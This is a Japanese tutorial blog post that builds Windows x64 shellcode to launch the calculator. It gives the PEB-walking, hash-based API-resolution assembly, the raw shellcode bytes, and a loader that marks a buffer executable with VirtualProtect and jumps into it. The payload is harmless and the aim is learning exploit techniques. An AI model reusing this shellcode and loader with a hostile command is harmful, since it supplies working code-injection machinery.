Windows x64で電卓を起動するシェルコードを書いてみる
「Windowsで電卓を起動するシェルコードを書いてみる」では、Windows 32bitアプリケーション用のシェルコードを作成した。 ここでは、Windows 64bitアプリケーションから電卓を起動するシェルコードを書いてみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS ビルドの種類: Multiprocessor Free システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x64 >ml64 Microsoft (R) Macro Assembler (x64) Version 12.00.31101.0 >dumpbin Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 >cdb -version cdb version 6.3.9600.17298
64-Bit Visual C++ Toolsetを使う
上のドキュメントを参考に、64bitアプリケーション用のコンパイラ一式を使うためのショートカットを作成する。 まず、次のようなバッチファイルを書く。
@rem vc2013_x64.bat @echo off set "PATH=C:\Program Files (x86)\Windows Kits\8.1\Debuggers\x64;%PATH%" "\Program Files (x86)\Microsoft Visual Studio 12.0\VC\vcvarsall" amd64
ここでは、合わせて64bit版のWindbg/cdbにもパスを通しておく。
次に、コンテキストメニューの「新規作成」→「ショートカットファイル」から、バッチファイルを実行した上でコマンドプロンプトを開くショートカットを作成する。
%comspec% /k vc2013_x64.bat
ショートカットのプロパティから「作業フォルダ」を空欄にし、ショートカットが置かれたディレクトリがカレントディレクトリとなるようにしておくとよい。
ショートカットを実行し、コンパイラのバーションを調べてみる。
>cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x64 >ml64 Microsoft (R) Macro Assembler (x64) Version 12.00.31101.0
x64と表示されていることから、64bit用のコンパイラが実行されていることがわかる。
関数の呼び出し規約を調べてみる
64bitアプリケーションでの関数呼び出し規約を調べるために、次のようなプログラムコードを書いてみる。
/* test.c */ #include <windows.h> int f(int x1, int x2, int x3, int x4, int x5, int x6, int x7, int x8) { return x1+x2+x3+x4+x5+x6+x7+x8; } int main() { int y = f(1,2,3,4,5,6,7,8); printf("%d\n", y); ExitProcess(0); }
デバッグ情報付きでコンパイルし、ディスアセンブル結果をファイルに出力する。
>cl /Zi test.c >dumpbin /disasm test.exe > dump.txt
main関数のディスアセンブル結果を確認してみる。
main: 0000000140001060: 48 83 EC 58 sub rsp,58h 0000000140001064: C7 44 24 38 08 00 mov dword ptr [rsp+38h],8 00 00 000000014000106C: C7 44 24 30 07 00 mov dword ptr [rsp+30h],7 00 00 0000000140001074: C7 44 24 28 06 00 mov dword ptr [rsp+28h],6 00 00 000000014000107C: C7 44 24 20 05 00 mov dword ptr [rsp+20h],5 00 00 0000000140001084: 41 B9 04 00 00 00 mov r9d,4 000000014000108A: 41 B8 03 00 00 00 mov r8d,3 0000000140001090: BA 02 00 00 00 mov edx,2 0000000140001095: B9 01 00 00 00 mov ecx,1 000000014000109A: E8 66 FF FF FF call @ILT+0(f) 000000014000109F: 89 44 24 40 mov dword ptr [rsp+40h],eax 00000001400010A3: 8B 54 24 40 mov edx,dword ptr [rsp+40h] 00000001400010A7: 48 8D 0D 52 BF 02 lea rcx,[14002D000h] 00 00000001400010AE: E8 09 01 00 00 call printf 00000001400010B3: 33 C9 xor ecx,ecx 00000001400010B5: FF 15 45 2F 03 00 call qword ptr [__imp_ExitProcess] 00000001400010BB: 48 83 C4 58 add rsp,58h 00000001400010BF: C3 ret
上の結果から、第4引数まではrcx、rdx、r8、r9レジスタにセットされ、以降は4ワード(0x20バイト)空けてスタックにセットされることがわかる。 この4ワードはhome spaceと呼ばれ、レジスタの値の退避などに用いられる。
API関数のアドレスを調べてみる
32bitの場合と同様に、TEBからkernel32.dll内にあるAPI関数のアドレスを得る方法を調べてみる。 デバッガから適当なプログラムを起動し、TEBのアドレスを調べてみる。 32bitの場合TEBはfsセグメントに配置されているが、64bitではgsセグメントに配置される。
>cdb notepad.exe (snip) (a9c.197c): Break instruction exception - code 80000003 (first chance) ntdll!LdrpDoDebuggerBreak+0x30: 00007ffb`cdb11970 cc int 3 0:000> !teb TEB at 00007ff6a1f0d000 ExceptionList: 0000000000000000 StackBase: 000000a4adf60000 StackLimit: 000000a4adf4f000 SubSystemTib: 0000000000000000 FiberData: 0000000000001e00 ArbitraryUserPointer: 0000000000000000 Self: 00007ff6a1f0d000 EnvironmentPointer: 0000000000000000 ClientId: 0000000000000a9c . 000000000000197c RpcHandle: 0000000000000000 Tls Storage: 000000a4ae15aea0 PEB Address: 00007ff6a1f0f000 LastErrorValue: 0 LastStatusValue: 0 Count Owned Locks: 0 HardErrorMode: 0
TEBからPEBの内容を調べてみる。
0:000> dt _TEB 00007ff6a1f0d000 ProcessEnvironmentBlock ntdll!_TEB +0x060 ProcessEnvironmentBlock : 0x00007ff6`a1f0f000 _PEB 0:000> dt _PEB 0x00007ff6`a1f0f000 -r2 ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 BitField : 0x4 '' +0x003 ImageUsesLargePages : 0y0 +0x003 IsProtectedProcess : 0y0 +0x003 IsImageDynamicallyRelocated : 0y1 +0x003 SkipPatchingUser32Forwarders : 0y0 +0x003 IsPackagedProcess : 0y0 +0x003 IsAppContainer : 0y0 +0x003 IsProtectedProcessLight : 0y0 +0x003 SpareBits : 0y0 +0x004 Padding0 : [4] "" +0x008 Mutant : 0xffffffff`ffffffff Void +0x010 ImageBaseAddress : 0x00007ff6`a20f0000 Void +0x018 Ldr : 0x00007ffb`cdb80320 _PEB_LDR_DATA +0x000 Length : 0x58 +0x004 Initialized : 0x1 '' +0x008 SsHandle : (null) +0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x000000a4`ae153cc0 - 0x00000 0a4`ae15abd0 ] +0x000 Flink : 0x000000a4`ae153cc0 _LIST_ENTRY [ 0x000000a4` ae153af0 - 0x00007ffb`cdb80330 ] +0x008 Blink : 0x000000a4`ae15abd0 _LIST_ENTRY [ 0x00007ffb` cdb80330 - 0x000000a4`ae1596e0 ] +0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x000000a4`ae153cd0 - 0x000 000a4`ae15abe0 ] +0x000 Flink : 0x000000a4`ae153cd0 _LIST_ENTRY [ 0x000000a4` ae153b00 - 0x00007ffb`cdb80340 ] +0x008 Blink : 0x000000a4`ae15abe0 _LIST_ENTRY [ 0x00007ffb` cdb80340 - 0x000000a4`ae1596f0 ] +0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x000000a4`ae153b10 - 0x000000a4`ae154220 ] +0x000 Flink : 0x000000a4`ae153b10 _LIST_ENTRY [ 0x000000a4` ae1546b0 - 0x00007ffb`cdb80350 ] +0x008 Blink : 0x000000a4`ae154220 _LIST_ENTRY [ 0x00007ffb` cdb80350 - 0x000000a4`ae1546b0 ] +0x040 EntryInProgress : (null) +0x048 ShutdownInProgress : 0 '' +0x050 ShutdownThreadId : (null) (snip)
PEBのInLoadOrderModuleListをたどり、kernel32.dllのベースアドレスを調べてみる。
0:000> dt _LDR_DATA_TABLE_ENTRY 0x000000a4`ae153cc0 InLoadOrderLinks DllBase Ful lDllName ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000000a4`ae153af0 - 0x00007ffb`cdb8 0330 ] +0x030 DllBase : 0x00007ff6`a20f0000 Void +0x048 FullDllName : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\notepad.exe" 0:000> dt _LDR_DATA_TABLE_ENTRY 0x000000a4`ae153af0 InLoadOrderLinks DllBase Ful lDllName ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000000a4`ae154200 - 0x000000a4`ae15 3cc0 ] +0x030 DllBase : 0x00007ffb`cda50000 Void +0x048 FullDllName : _UNICODE_STRING "C:\WINDOWS\SYSTEM32\ntdll.dll" 0:000> dt _LDR_DATA_TABLE_ENTRY 0x000000a4`ae154200 InLoadOrderLinks DllBase Ful lDllName ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x000000a4`ae154690 - 0x000000a4`ae15 3af0 ] +0x030 DllBase : 0x00007ffb`cd460000 Void +0x048 FullDllName : _UNICODE_STRING "C:\WINDOWS\system32\KERNEL32.DLL"
上の結果から、kernel32.dllのベースアドレスが0x00007ffb`cd460000であることがわかる。 kernel32.dllは常にInLoadOrderModuleListの3番目のエントリとして存在する。
次に、kernel32.dll内のImport Address Tableを調べてみる。
0:000> r @$t1 = 0x00007ffb`cd460000 0:000> dt _IMAGE_DOS_HEADER @$t1 ntdll!_IMAGE_DOS_HEADER +0x000 e_magic : 0x5a4d +0x002 e_cblp : 0x90 +0x004 e_cp : 3 +0x006 e_crlc : 0 +0x008 e_cparhdr : 4 +0x00a e_minalloc : 0 +0x00c e_maxalloc : 0xffff +0x00e e_ss : 0 +0x010 e_sp : 0xb8 +0x012 e_csum : 0 +0x014 e_ip : 0 +0x016 e_cs : 0 +0x018 e_lfarlc : 0x40 +0x01a e_ovno : 0 +0x01c e_res : [4] 0 +0x024 e_oemid : 0 +0x026 e_oeminfo : 0 +0x028 e_res2 : [10] 0 +0x03c e_lfanew : 0n248 0:000> dt _IMAGE_NT_HEADERS64 @$t1+0n248 -r2 ntdll!_IMAGE_NT_HEADERS64 +0x000 Signature : 0x4550 +0x004 FileHeader : _IMAGE_FILE_HEADER +0x000 Machine : 0x8664 +0x002 NumberOfSections : 6 +0x004 TimeDateStamp : 0x545054ca +0x008 PointerToSymbolTable : 0 +0x00c NumberOfSymbols : 0 +0x010 SizeOfOptionalHeader : 0xf0 +0x012 Characteristics : 0x2022 +0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER64 +0x000 Magic : 0x20b +0x002 MajorLinkerVersion : 0xb '' +0x003 MinorLinkerVersion : 0 '' +0x004 SizeOfCode : 0x117000 +0x008 SizeOfInitializedData : 0x23e00 +0x00c SizeOfUninitializedData : 0 +0x010 AddressOfEntryPoint : 0x4dd0 +0x014 BaseOfCode : 0x1000 +0x018 ImageBase : 0x00007ffb`cd460000 +0x020 SectionAlignment : 0x1000 +0x024 FileAlignment : 0x200 +0x028 MajorOperatingSystemVersion : 6 +0x02a MinorOperatingSystemVersion : 3 +0x02c MajorImageVersion : 6 +0x02e MinorImageVersion : 3 +0x030 MajorSubsystemVersion : 6 +0x032 MinorSubsystemVersion : 3 +0x034 Win32VersionValue : 0 +0x038 SizeOfImage : 0x13e000 +0x03c SizeOfHeaders : 0x400 +0x040 CheckSum : 0x140fec +0x044 Subsystem : 3 +0x046 DllCharacteristics : 0x4160 +0x048 SizeOfStackReserve : 0x40000 +0x050 SizeOfStackCommit : 0x1000 +0x058 SizeOfHeapReserve : 0x100000 +0x060 SizeOfHeapCommit : 0x1000 +0x068 LoaderFlags : 0 +0x06c NumberOfRvaAndSizes : 0x10 +0x070 DataDirectory : [16] _IMAGE_DATA_DIRECTORY +0x000 VirtualAddress : 0x22df8 +0x004 Size : 0xcfad
Import Address TableはDataDirectory配列の1番目のエントリとなっている。
ここから先は、32bitの場合と同じようにAddressOfFunctions/AddressOfNames/AddressOfNameOrdinalsをたどることができる。
0:000> dds @$t1+0x22df8 00007ffb`cd482df8 00000000 ; DWORD Characteristics 00007ffb`cd482dfc 545054ca ; DWORD TimeDateStamp 00007ffb`cd482e00 00000000 ; WORD MajorVersion; WORD MinorVersion 00007ffb`cd482e04 00026be2 ; DWORD Name 00007ffb`cd482e08 00000001 ; DWORD Base 00007ffb`cd482e0c 0000062d ; DWORD NumberOfFunctions 00007ffb`cd482e10 0000062d ; DWORD NumberOfNames 00007ffb`cd482e14 00022e20 ; DWORD AddressOfFunctions 00007ffb`cd482e18 000246d4 ; DWORD AddressOfNames 00007ffb`cd482e1c 00025f88 ; DWORD AddressOfNameOrdinals 00007ffb`cd482e20 0002e911 (snip)
AddressOfNamesの1番目にある関数のアドレスを調べてみる。
# get 1st entry of AddressOfNames 0:000> dc @$t1+000246d4 00007ffb`cd4846d4 00026bef 00026c07 00026c1c 00026c2b .k...l...l..+l.. 00007ffb`cd4846e4 00026c40 00026c49 00026c52 00026c63 @l..Il..Rl..cl.. 00007ffb`cd4846f4 00026c74 00026c84 00026caa 00026cc9 tl...l...l...l.. 00007ffb`cd484704 00026ce8 00026cf5 00026d08 00026d20 .l...l...m.. m.. 00007ffb`cd484714 00026d3b 00026d50 00026d6d 00026d88 ;m..Pm..mm...m.. 00007ffb`cd484724 00026da4 00026db7 00026dc4 00026dde .m...m...m...m.. 00007ffb`cd484734 00026dfc 00026e16 00026e32 00026e50 .m...n..2n..Pn.. 00007ffb`cd484744 00026e60 00026e79 00026e87 00026e92 `n..yn...n...n.. 0:000> da @$t1+00026bef 00007ffb`cd486bef "AcquireSRWLockExclusive" # get 1st entry of AddressOfNameOrdinals 0:000> dw @$t1+00025f88 00007ffb`cd485f88 0000 0001 0002 0003 0004 0005 0006 0007 00007ffb`cd485f98 0008 0009 000a 000b 000c 000d 000e 000f 00007ffb`cd485fa8 0010 0011 0012 0013 0014 0015 0016 0017 00007ffb`cd485fb8 0018 0019 001a 001b 001c 001d 001e 001f 00007ffb`cd485fc8 0020 0021 0022 0023 0024 0025 0026 0027 00007ffb`cd485fd8 0028 0029 002a 002b 002c 002d 002e 002f 00007ffb`cd485fe8 0030 0031 0032 0033 0034 0035 0036 0037 00007ffb`cd485ff8 0038 0039 003a 003b 003c 003d 003e 003f # get 1st ordinal (0th) entry of AddressOfFunctions 0:000> dc @$t1+00022e20 00007ffb`cd482e20 0002e911 0002e932 00003c50 00003b90 ....2...P<...;.. 00007ffb`cd482e30 000b3890 00009bf0 001019e0 00101b40 .8..........@... 00007ffb`cd482e40 0002e950 000e0dc0 000d5f70 000d5fd0 P.......p_..._.. 00007ffb`cd482e50 000c2b50 00003c00 000dfe50 0000f490 P+...<..P....... 00007ffb`cd482e60 000dfe60 000dc540 0002e985 0002e9a9 `...@........... 00007ffb`cd482e70 000ba810 000c3580 000dfe80 000dfe70 .....5......p... 00007ffb`cd482e80 0002e9ce 000ea580 000ea590 000dfe90 ................ 00007ffb`cd482e90 00003d20 000c35f0 000d3cb0 000d4b80 =...5...<...K.. 0:000> u @$t1+0002e911 KERNEL32!AcquireSRWLockExclusive: 00007ffb`cd48e911 4e54 push rsp 00007ffb`cd48e913 44 ??? 00007ffb`cd48e914 4c ??? 00007ffb`cd48e915 4c ??? 00007ffb`cd48e916 2e52 push rdx 00007ffb`cd48e918 746c je KERNEL32!AddVectoredContinueHandler+0x 1 (00007ffb`cd48e986) 00007ffb`cd48e91a 41637175 movsxd esi,dword ptr [r9+75h] 00007ffb`cd48e91e 6972655352574c imul esi,dword ptr [rdx+65h],4C575253h
上の結果から、AcquireSRWLockExclusive関数が00007ffb`cd48e911
にあることがわかる。
ついでに、シェルコードから呼び出すWinExec関数、ExitProcess関数の内容を調べてみる。
0:000> u kernel32!WinExec KERNEL32!WinExec: 00007ffb`cd53f840 48895c2410 mov qword ptr [rsp+10h],rbx 00007ffb`cd53f845 4889742418 mov qword ptr [rsp+18h],rsi 00007ffb`cd53f84a 55 push rbp 00007ffb`cd53f84b 57 push rdi 00007ffb`cd53f84c 4156 push r14 00007ffb`cd53f84e 488d6c24d0 lea rbp,[rsp-30h] 00007ffb`cd53f853 4881ec30010000 sub rsp,130h 00007ffb`cd53f85a 488b05e7890300 mov rax,qword ptr [KERNEL32!PssWalkSnapsho t+0x9e68 (00007ffb`cd578248)] 0:000> u kernel32!ExitProcess KERNEL32!FatalExit: 00007ffb`cd465160 4883ec28 sub rsp,28h 00007ffb`cd465164 ff15e6d21100 call qword ptr [KERNEL32!PssWalkSnapshot+0x 14070 (00007ffb`cd582450)] 00007ffb`cd46516a cc int 3 00007ffb`cd46516b 90 nop 00007ffb`cd46516c 90 nop 00007ffb`cd46516d 90 nop 00007ffb`cd46516e 90 nop 00007ffb`cd46516f 90 nop 0:000> u poi(00007ffb`cd582450) ntdll!RtlExitUserProcess: 00007ffb`cda683a0 48895c2410 mov qword ptr [rsp+10h],rbx 00007ffb`cda683a5 4889742418 mov qword ptr [rsp+18h],rsi 00007ffb`cda683aa 57 push rdi 00007ffb`cda683ab 4881ece0000000 sub rsp,0E0h 00007ffb`cda683b2 488b05cfaf1200 mov rax,qword ptr [ntdll!_security_cookie (00007ffb`cdb93388)] 00007ffb`cda683b9 4833c4 xor rax,rsp 00007ffb`cda683bc 48898424d0000000 mov qword ptr [rsp+0D0h],rax 00007ffb`cda683c4 48833d2468110000 cmp qword ptr [ntdll!EtwpLoggerArray (000 07ffb`cdb7ebf0)],0 0:000> q quit:
上の結果からわかるように、どちらも関数の先頭でrbx、rsiレジスタの値をhome spaceに退避している。 したがって、スタックに文字列を用意する場合は、この処理で上書きされないようスタックにhome spaceを空けておく必要がある。
電卓を起動するシェルコードを書いてみる
上で調べた結果をもとに、WinExec関数から電卓を起動するシェルコードを書くと次のようになる。
; execcalc.asm .code mainCRTStartup PROC cld jmp main api_call: push rcx ; reserve arguments push rdx xor eax, eax mov rax, gs:[rax+60h] ; PEB mov rax, [rax+18h] ; Ldr mov rsi, [rax+10h] ; InLoadOrderModuleList next_mod: lodsq ; next _LDR_DATA_TABLE_ENTRY mov [rsp+20h], rax ; store next rsi (to home space) mov rbp, [rax+30h] ; DllBase mov eax, [rbp+3ch] ; IMAGE_DOS_HEADER.e_lfanew add eax, 18h ; IMAGE_OPTIONAL_HEADER64 mov edi, [rbp+rax+70h] ; IMAGE_EXPORT_DIRECTORY add rdi, rbp mov ecx, [rdi+18h] ; NumberOfNames mov ebx, [rdi+20h] ; AddressOfNames add rbx, rbp next_name: ; while (--NumberOfNames) jecxz name_not_found dec ecx mov esi, [rbx+rcx*4] ; ptr = AddressOfNames[NumberOfNames] add rsi, rbp xor eax, eax cdq ; hash = 0 compute_hash_loop: ; while ((c = *(ptr++)) != 0) lodsb test al, al jz compare_hash ror edx, 0dh ; hash += ror(c, 0x0d) add edx, eax jmp compute_hash_loop compare_hash: cmp edx, [rsp+18h] ; compare with api hash jnz next_name mov ebx, [rdi+24h] ; AddressOfNameOrdinals add rbx, rbp mov cx, [rbx+rcx*2] ; y = AddressOfNameOrdinals[x] mov ebx, [rdi+1ch] ; AddressOfFunctions add rbx, rbp mov eax, [rbx+rcx*4] ; AddressOfFunctions[y] add rax, rbp pop rdx ; restore arguments pop rcx pop rsi ; remove api hash from the stack pop rdi push rsi jmp rax ; jump to api function name_not_found: mov rsi, [rsp+20h] ; restore rsi jmp next_mod main: xor ecx, ecx lea rdx, [rcx+1] push rcx push 636c6163h ; "calc" mov rcx, rsp sub rsp, 28h ; create home space for call push 0e8afe98h ; WinExec call api_call xor ecx, ecx push 73e2d87eh ; ExitProcess call api_call mainCRTStartup ENDP end
ここでは、xor eax, eax
やmov eax, [...]
としたときraxの上位32bitがゼロ拡張される仕様を利用して、シェルコードの短縮を行っている。
シェルコードをコンパイルして、C形式の文字列に変換してみる。
>ml64 execcalc.asm /link /subsystem:console >dumpbin /rawdata execcalc.exe Microsoft (R) COFF/PE Dumper Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Dump of file execcalc.exe File Type: EXECUTABLE IMAGE RAW DATA #1 0000000140001000: FC EB 76 51 52 33 C0 65 48 8B 40 60 48 8B 40 18 üëvQR3ÀeH.@`H.@. 0000000140001010: 48 8B 70 10 48 AD 48 89 44 24 20 48 8B 68 30 8B H.p.HH.D$H.h0. 0000000140001020: 45 3C 83 C0 18 8B 7C 28 70 48 03 FD 8B 4F 18 8B E<.À..|(pH.ý.O.. 0000000140001030: 5F 20 48 03 DD 67 E3 3A FF C9 8B 34 8B 48 03 F5 _ H.Ýgã:ÿÉ.4.H.õ 0000000140001040: 33 C0 99 AC 84 C0 74 07 C1 CA 0D 03 D0 EB F4 3B 3À.¬.Àt.ÁÊ..Ðëô; 0000000140001050: 54 24 18 75 E0 8B 5F 24 48 03 DD 66 8B 0C 4B 8B T$.uà._$H.Ýf..K. 0000000140001060: 5F 1C 48 03 DD 8B 04 8B 48 03 C5 5A 59 5E 5F 56 _.H.Ý...H.ÅZY^_V 0000000140001070: FF E0 48 8B 74 24 20 EB 9B 33 C9 48 8D 51 01 51 ÿàH.t$ ë.3ÉH.Q.Q 0000000140001080: 68 63 61 6C 63 48 8B CC 48 83 EC 28 68 98 FE 8A hcalcH.ÌH.ì(h.þ. 0000000140001090: 0E E8 6D FF FF FF 33 C9 68 7E D8 E2 73 E8 61 FF .èmÿÿÿ3Éh~Øâsèaÿ 00000001400010A0: FF FF ÿÿ Summary 1000 .text >dumpbin /rawdata execcalc.exe | powershell -ex remotesigned -f getsc.ps1 \xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF
シェルコードを実行してみる
上で書いたシェルコードにジャンプするプログラムコードを書くと次のようになる。
/* loader.c */ #include <windows.h> #include <stdio.h> #include <string.h> int main() { int flOldProtect; char code[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; printf("strlen(code) = %d\n", strlen(code)); VirtualProtect(code, sizeof(code), PAGE_EXECUTE_READWRITE, &flOldProtect); (*(void (*)())code)(); return 0; }
64bitアプリケーションでは、DEPは常に有効となり、/NXCOMPAT
リンカオプションは無視される。
したがって、上のコードではVirtualProtect関数を使い、シェルコードが置かれたメモリ領域を実行可能に変更している。
プログラムをコンパイルし、実行してみる。
>cl loader.c >loader.exe strlen(code) = 162
シェルコードが実行され、電卓が起動することが確認できる。 このシェルコードの長さは162バイトである。
関連リンク
- Exploring the x64 (PacSec 2010)
- Overview of x64 Calling Conventions
- The history of calling conventions, part 5: amd64 - The Old New Thing - Site Home - MSDN Blogs
- Win32 Thread Environment Block - Shit we found out
- Windows x64 Shellcode | McDermott Cybersecurity
- Data Execution Prevention
- /DYNAMICBASE and /NXCOMPAT - Visual C++ Team Blog - Site Home - MSDN Blogs